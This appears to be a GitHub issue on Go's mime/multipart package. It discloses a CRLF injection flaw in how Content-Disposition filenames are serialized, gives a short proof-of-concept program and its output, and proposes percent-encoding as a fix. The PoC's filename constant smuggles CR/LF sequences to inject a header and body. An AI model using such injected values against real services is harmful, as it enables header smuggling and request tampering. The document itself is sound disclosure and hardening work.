Skip to content

mime/multipart: CRLF Injection in Content-Disposition header #75557

@arkark

Description

@arkark

I found a potential security issue in Go's mime/multipart package and I'm sharing this report to propose hardening.

Note:
I initially reported this via the process in SECURITY.md. The Go Security Team reviewed it and classified it as a flaw rather than a vulnerability. I agree and am opening this public issue.

Summary

The mime/multipart.Writer does not escape CR/LF when serializing the name/filename parameters of the Content-Disposition header. If these fields are attacker-controlled, this can lead to CRLF injection.

Details

FileContentDisposition / CreateFormField functions call escapeQuotes, which only backslash-escapes " and \ and leaves \r and \n untouched.

If these fields are attacker-controlled, they can inject additional headers or force an early end of the header section (CRLF injection).

Proof of Concept

Tested in Go 1.25.1 (latest).

main.go:

package main

import (
	"bytes"
	"fmt"
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"strings"
)

// user-controllable
const MALICIOUS_FILENAME = "evil.txt\r\nContent-Type: evil/injected\r\n\r\ninjected_body"

func requestFile() {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	part, err := writer.CreateFormFile("file", MALICIOUS_FILENAME)
	if err != nil {
		log.Fatal(err)
	}

	_, _ = part.Write([]byte("testtest"))
	_ = writer.Close()

	req, _ := http.NewRequest("POST", "http://localhost:3000/upload", body)
	req.Header.Set("Content-Type", writer.FormDataContentType())

	client := &http.Client{}
	resp, _ := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
}

func serve() {
	http.HandleFunc("/upload", func(w http.ResponseWriter, r *http.Request) {
		reader, _ := r.MultipartReader()

		for {
			part, err := reader.NextPart()
			if err == io.EOF {
				break
			}

			fmt.Println("Header:")
			for k, vals := range part.Header {
				fmt.Printf("- %s: %s\n", k, strings.Join(vals, ", "))
			}
			fmt.Println()

			fmt.Println("Body:")
			body, _ := io.ReadAll(part)
			fmt.Println(string(body))
			fmt.Println()

			part.Close()
		}
	})

	http.ListenAndServe(":3000", nil)
}

func main() {
	go serve()
	requestFile()
}

Run:

$ go run main.go
Header:
- Content-Disposition: form-data; name="file"; filename="evil.txt
- Content-Type: evil/injected

Body:
injected_body"
Content-Type: application/octet-stream

testtest

The injected Content-Type: evil/injected appears as a legitimate part header and the original header Content-Type: application/octet-stream is pushed into the body.

Fix (Suggestion)

Use WHATWG-compatible serialization for name/filename (align with browsers)

For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.
Source: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#multipart-form-data

Concretely, percent-encode:

  • \n -> %0A
  • \r -> %0D
  • " -> %22

Most major HTTP clients already adopt percent-encoding:

Edge case note

Even with the above fix, a trailing backslash (\) in name/filename can still confuse non-robust quoted-string parsers (e.g., interpreting \" as an escaped quote and failing to close).

E.g.:

  • filename: foobar\
  • Header: Content-Disposition: form-data; name="file"; filename="foobar\"

Browsers do not escape backslashes per the HTML algorithm, but given ecosystem variance, I think it's reasonable to discuss additionally escaping \ (e.g., %5C) or rejecting a trailing \ to avoid parser differentials.

Metadata

Metadata

Assignees

No one assigned

    Labels

    BugReportIssues describing a possible bug in the Go implementation.NeedsFixThe path to resolution is known, but the work has not been done.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions